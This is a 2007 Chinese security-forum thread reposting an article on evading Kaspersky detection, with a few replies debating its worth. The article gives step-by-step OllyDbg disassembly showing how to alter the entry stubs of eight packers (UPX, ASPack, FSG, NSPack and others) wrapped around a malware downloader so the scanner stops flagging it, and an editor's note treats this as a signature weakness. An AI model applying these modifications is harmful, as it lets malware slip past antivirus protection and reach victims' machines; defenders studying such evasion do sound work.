查看: 3916|回复: 22
收起左侧

让卡巴斯基哑口无言

 关闭 [复制链接]
孤单爱情海
发表于 2007-9-22 13:36:11 | 显示全部楼层 |阅读模式
这是转载于 Yes!黑客联盟一篇关于卡巴的文章!


                                                          让卡巴斯基哑口无言

              作者:佚名 文章来源:不详 更新时间:2007-9-21 7:41:23 【字体:小 大】

“小样,你以为你穿了马甲我就不认识你了?”这句台词耳熟能详。现在用户用这句话来形容反病毒厂商的脱壳技术。这项技术的产生与病毒程序编写者使用的“加壳”技术密切相关。 众所周知,所谓“加壳”就是一种通过一系列数学运算,将可执行程序文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。一切操作自动完成,用户不知道也无需知道壳程序是如何运行的。一般情况下,加壳程序和未加壳程序的运行结果是一样的。 面对病毒编写者为其病毒“加壳”的问题,反病毒厂商自然而然地采用“脱壳”技术。脱壳的一般流程包括,查壳、寻找OEP(入口点,防止被破解)、Dump(卸出)、修复等步骤。目前,脱壳能力强弱则成为杀毒软件查杀病毒能力如何的重要衡量指标。 病毒编写者与反病毒厂商之间新一轮博弈在“加壳”与“脱壳”两个共生技术之间展开了。 在众多反病毒产品中,卡巴斯基在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。 笔者随便在网络上下了一个国外的下载者Deception4.0(以下简称DT)。卡巴是杀它的,不然测试就没法进行了。虽然只修改了加在DT上的9,但是按照这种方式加在其他的可执行文件上卡巴也是不报毒的,其中修改后的程序保证了程序的可再运行,不然这种修改是无意义的测试。开始操作,下面准备了八个最常见的壳。 一、首先对NSPACK3.6的测试 用OD载入被加过NSPACK壳的DT,复制出前十几行,如下(蓝色加粗是要被修改的部位,以下格式如一) 004CF302 E8 00000000 call 复件_(2).004CF307 004CF307 5D pop ebp 004CF308 83C5 F9 sub ebp,7 004CF30B 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4] 004CF311 8338 01 cmp dword ptr ds:[eax],1 004CF314 0F84 47020000 je 复件_(2).004CF561 004CF31A C700 01000000 mov dword ptr ds:[eax],1 004CF320 8BD5 mov edx,ebp 004CF322 2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160] 004CF328 8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx 004CF32E 1195 D0FEFFFF add dword ptr ss:[ebp-130],edx 004CF334 8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC] 004CF33A 1116 add dword ptr ds:[esi],edx 修改成如下(红色部分) 004CF302 E8 00000000 call 复件_(2).004CF307 004CF307 5D pop ebp 004CF308 83C5 F9 add ebp,-7 004CF30B 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4] 004CF311 8338 01 cmp dword ptr ds:[eax],1 004CF314 0F84 47020000 je 复件_(2).004CF561 004CF31A C700 01000000 mov dword ptr ds:[eax],1 004CF320 8BD5 mov edx,ebp 004CF322 2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160] 004CF328 8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx 004CF32E 1195 D0FEFFFF adc dword ptr ss:[ebp-130],edx 004CF334 8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC] 004CF33A 1116 adc dword ptr ds:[esi],edx 之后保存文件,用卡巴扫描,不再报毒。 二、FSG2.0的测试 OD载入被FSG2.0加了壳的DT 复制出前十几行,如下 00400154 f> 8725 2C115300 xchg dword ptr ds:[53112C],esp 0040015A 61 popad 0040015B 94 xchg eax,esp 0040015C 55 push ebp 0040015D A4 movs byte ptr es:[edi],byte ptr ds:> 0040015E B6 80 mov dh,80 00400160 FF13 call dword ptr ds:[ebx] 00400162 ^ 77 F9 jnb short fsg2_0.0040015D 00400164 33C9 xor ecx,ecx 00400166 FF13 call dword ptr ds:[ebx] 00400168 77 16 jnb short fsg2_0.00400180 0040016A 33C0 xor eax,eax 修改后如下 00400154 f> 8725 2C115300 xchg dword ptr ds:[53112C],esp 0040015A 61 popad 0040015B 94 xchg eax,esp 0040015C 55 push ebp 0040015D A4 movs byte ptr es:[edi],byte ptr ds:> 0040015E B6 80 mov dh,80 00400160 FF13 call dword ptr ds:[ebx] 00400162 ^ 77 F9 ja short fsg2_0.0040015D 00400164 33C9 xor ecx,ecx 00400166 FF13 call dword ptr ds:[ebx] 00400168 77 16 ja short fsg2_0.00400180 0040016A 33C0 xor eax,eax 三、winupack的测试 OD载入被加了壳的DT,如下 00526740 w> 60 pushad 00526741 E8 09000000 call winupack.0052674F 00526746 BE 651200E9 mov esi,E9001265 0052674B 06 push es 0052674C 1200 add al,byte ptr ds:[eax] 0052674E 1033 add byte ptr ds:[ebx],dh 00526750 C9 leave 00526751 5E pop esi 00526752 870E xchg dword ptr ds:[esi],ecx 00526754 ^ E3 F4 jecxz short winupack.0052674A 00526756 1BF1 sub esi,ecx 00526758 8BDE mov ebx,esi 0052675A AD lods dword ptr ds:[esi] 0052675B 1BD8 sub ebx,eax 0052675D AD lods dword ptr ds:[esi] 做了修改的如下 00526740 w> 60 pushad 00526741 E8 09000000 call winupack.0052674F 00526746 BE 651200E9 mov esi,E9001265 0052674B 06 push es 0052674C 1200 adc al,byte ptr ds:[eax] 0052674E 1033 adc byte ptr ds:[ebx],dh 00526750 C9 leave 00526751 5E pop esi 00526752 870E xchg dword ptr ds:[esi],ecx 00526754 ^ E3 F4 jecxz short winupack.0052674A 00526756 1BF1 sbb esi,ecx 00526758 8BDE mov ebx,esi 0052675A AD lods dword ptr ds:[esi] 0052675B 1BD8 sbb ebx,eax 0052675D AD lods dword ptr ds:[esi] 卡巴扫描,不再报毒。 四、ASPack的修改 同样OD载入复制出前面的十几行反汇编代码,注意这个在载入之后把滚动条再向上拉一行。复制出来如下 004CC000 90 nop 004CC001 a> 60 pushad 004CC002 E8 03000000 call asp.004CC00A 004CC007 - E9 EB045D45 jmp 45A9C4F7 004CC00C 55 push ebp 004CC00D C3 retn 004CC00E E8 01000000 call asp.004CC014 004CC013 EB 5D jmp short asp.004CC072 004CC015 BB EDFFFFFF mov ebx,-13 004CC01A 03DD add ebx,ebp 004CC01C 81EB 00C00C00 sub ebx,0CC000 004CC022 83BD 22040000 00 cmp dword ptr ss:[ebp+422],0 修改后如下,对照前面地址一一对应的修改 004CC000 60 pushad 004CC001 a> 90 nop 004CC002 E8 03000000 call asp.004CC00A 004CC007 E8 EB045D45 call 45A9C4F7 004CC00C 55 push ebp 004CC00D C3 retn 004CC00E E8 01000000 call asp.004CC014 004CC013 73 5D jnb short asp.004CC072 004CC015 BB EDFFFFFF mov ebx,-13 004CC01A 11EB adc ebx,ebp 004CC01C 81C3 0040F3FF add ebx,FFF34000 004CC022 83BD 22040000 00 cmp dword ptr ss:[ebp+422],0 五 JDPACK的修改 这个是修改最复杂的一个。几乎面目全非了。但是能够保证运行的。修改前,如下 004CC000 复> 60 pushad 004CC001 E8 00000000 call 复件_(8).004CC006 004CC006 5D pop ebp 004CC007 8BD5 mov edx,ebp 004CC009 81ED C62B4000 sub ebp,复件_(8).00402BC6 004CC00F 2B95 61344000 sub edx,dword ptr ss:[ebp+403461] 004CC015 81EA 06000000 sub edx,6 004CC01B 8995 65344000 mov dword ptr ss:[ebp+403465],edx 004CC021 83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0 修改后的 004CC000 复> 90 nop 004CC001 E8 00000000 call 复件_(8).004CC006 004CC006 5D pop ebp 004CC007 8BC5 mov eax,ebp 004CC009 8BD0 mov edx,eax 004CC00B 81ED C62B4000 sub ebp,复件_(8).00402BC6 004CC011 2B95 61344000 sub edx,dword ptr ss:[ebp+403461] 004CC017 83C2 FA add edx,-6 004CC01A 8995 65344000 mov dword ptr ss:[ebp+403465],edx 004CC020 90 nop 004CC021 83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0 这个真的是让我改的面目全非了 ,不过你可以把004CC021前面的都NOP掉,然后一行一行汇编上去就可以了。 六、UPX的修改 UPX可以说是免费的最经典的压缩壳。我门来修改一下,OD载入。修改前,如下 004CE240 复> 60 pushad 004CE241 BE 00504700 mov esi,复件_(2).00475000 004CE246 8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000] 004CE24C C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25> 004CE256 57 push edi 004CE257 83CD FF or ebp,FFFFFFFF 004CE25A EB 0E jmp short 复件_(2).004CE26A 004CE25C 90 nop 004CE25D 90 nop 004CE25E 90 nop 004CE25F 90 nop 004CE260 8A06 mov al,byte ptr ds:[esi] 修改后如下 004CE240 复> 60 pushad 004CE241 BE 00504700 mov esi,复件_(2).00475000 004CE246 8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000] 004CE24C C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25> 004CE256 57 push edi 004CE257 83CD FF or ebp,FFFFFFFF 004CE25A 77 0E ja short 复件_(2).004CE26A 004CE25C 73 0C jnb short 复件_(2).004CE26A 004CE25E 72 0A jb short 复件_(2).004CE26A 004CE260 8A06 mov al,byte ptr ds:[esi] 七、NSPACK1.1的修改 看了一下这个和3.6版本不是一个样子的,所以这个也修改下。这个最简单一个指令卡巴就不发出那难听的叫声了。OD载入,如下 004CF600 复> 9C pushfd 004CF601 60 pushad 004CF602 68 07F64C00 call 复件_(4).004CF607 004CF607 5D pop ebp 修改如下 004CF600 复> 9C pushfd 004CF601 60 pushad 004CF602 68 07F64C00 push 复件_(4).004CF607 004CF607 5D pop ebp 八、堀北压缩(KBYS)0.28的修改 这个壳可以和UPX相媲美的压缩壳,但是没有UPX那么著名,只要是它压缩过的,卡巴大叔们都一路KILL。简单修改下,卡巴大叔安静了。OD载入,前四行如下 00401000 复> E8 F8C10C00 push 复件_(5).004CD1FD 00401005 68 0B104000 call 复件_(5).0040100B ; 入口地址 0040100A \. C3 retn 0040100B $ C3 retn 修改如下 00401000 复> E8 F8C10C00 call 复件_(5).004CD1FD 00401005 68 0B104000 push 复件_(5).0040100B ; 入口地址 0040100A \. C3 retn 0040100B $ C3 retn 以上是列举了八种壳,都是通过壳头的简单修改,就使得卡巴这个号称虚拟脱壳杀毒很强的世界顶级杀软沉默了,当然我们抛开它目前的主动防御杀毒,单从文件查杀上做了一次测试, 从中似乎能分析出卡巴对于脱壳,也似乎是象特征码那样,将壳的特征入库了,然后在利用脱壳引擎把壳脱掉去杀毒。如果这样,那许多壳的特征卡巴只放在了壳的头部,尤其这种压缩形式的壳是这样的,对于某些加密壳,壳头怎样修改都无用。以上也仅仅是一种猜测。 编者:作者通过简单的修改,使一个被杀的下载者逃过了卡巴斯基的查杀。其实,现在很多黑客都会通过修改木马的服务端来躲避杀毒软件的查杀。本文是以卡巴斯基为例子,相信大多数知名的杀毒软件都会遇到这类难题。编者认为杀毒软件对于一个壳不要简单只识别壳的头部来进行识别,取复合的壳特征码,这样会增加查杀力度。另外从KBYS这个压缩壳上也可以看出一个缺陷,卡巴通杀了加这个壳的可执行文件,但是似乎并未进行脱壳后的再查杀,所以只要让这个壳免杀,那加了壳的文件也就免杀了,杀的不彻底。另外,修改的过程中发现对于一些加密壳卡巴的查杀力度较大,这似乎对于不同种类的壳卡巴有不同的态度,但是纠其作为杀毒软件来说,应该是一次性的彻底取特征码。
flo
发表于 2007-9-22 13:39:57 | 显示全部楼层
别忘了还有启发式,还有主动防御~~
gwg829
头像被屏蔽
发表于 2007-9-22 13:45:01 | 显示全部楼层
无视  我没看他写的东西  

其实有必要这样么  没那个东西是十全十美的
浪滔天
发表于 2007-9-22 13:52:19 | 显示全部楼层
刻意过杀软,能做到应该不难,任何杀软都一样过,没有讨论的意义。
wangjay1980
发表于 2007-9-22 14:56:14 | 显示全部楼层
这几天又怎么了?老师这种毫无意义的帖子。。。。。。。。。。
孤单爱情海
 楼主| 发表于 2007-9-22 15:14:48 | 显示全部楼层

回复 5楼 wangjay1980 的帖子

斑主你能说明原因吗?什么是有意义?什么是没意义?
wangjay1980
发表于 2007-9-22 15:35:26 | 显示全部楼层
有意义就是这种帖子你最好发到官方论坛去,那里有卡巴的工程师,这样才能使卡巴不断提高。
这是网址:http://bbs.kaspersky.com.cn/

而且楼主的帖子质量实在太差,好歹也编辑一下,严重影响看者的视力
wangjay1980
发表于 2007-9-22 15:36:17 | 显示全部楼层
昨天有人发过此贴,比你这个美工做的好
孤单爱情海
 楼主| 发表于 2007-9-22 15:44:54 | 显示全部楼层

回复 8楼 wangjay1980 的帖子

谢谢!斑主!不过请斑主在批评人的时候请提出原因!提点意见!让我们好改正一下!!
jiasili
发表于 2007-9-22 18:49:34 | 显示全部楼层
还是回下,道德问题!!!呵呵   但是我还是看不懂哦 !!这么复杂!!!1太有技术含量拉 !!!!!
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-9 02:14 , Processed in 0.126670 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表